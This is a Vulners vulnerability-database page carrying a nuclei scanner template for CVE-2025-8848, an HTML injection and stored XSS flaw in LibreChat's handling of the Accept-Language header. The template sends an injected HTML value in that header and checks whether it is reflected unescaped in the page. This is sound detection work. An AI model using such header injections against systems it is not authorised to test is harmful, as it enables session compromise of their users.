Lucene search
+L

LibreChat <= 0.7.9 - HTML Injection via Accept-Language Header

🗓️ 28 Sep 2026 02:13:17Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 55 Views

LibreChat 0.7.9 has stored cross site scripting via Accept-Language header requiring login.

Related
Refs
Code
id: CVE-2025-8848

info:
  name: LibreChat <= 0.7.9 - HTML Injection via Accept-Language Header
  author: Kazgangap
  severity: medium
  description: |
    danny-avila/librechat 0.7.9 contains a stored XSS caused by improper sanitization of the Accept-Language header, letting logged-in users inject arbitrary HTML into the html lang= tag, exploit requires user to be logged in.
  impact: |
    Logged-in attackers can inject arbitrary HTML leading to cross-site scripting attacks, potentially compromising user sessions or data.
  remediation: |
    Update to the latest version where this issue is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8848
    - https://huntr.com/bounties/a05ebc1f-882a-4adc-b178-d3cefa4b730e
    - https://github.com/danny-avila/LibreChat
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-8848
    epss-score: 0.00453
    epss-percentile: 0.36823
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="LibreChat"
  tags: cve,cve2025,librechat,html-injection,vuln

variables:
  marker: "{{rand_base(20)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Accept-Language: "<h3>{{marker}}</h3>"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<html lang="<h3>{{marker}}</h3>">'
          - 'LibreChat'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402205e4afead77b9c57415ba2540a7331c9c2f0e4fac8de3e841cc8856b679145c2502204129c1c7234c21609b8f2bed6d69876c2383c20cf06f59533825a39e76253300:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Dec 2025 21:55Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.15.4
CVSS 34.8
EPSS0.00453
SSVC
55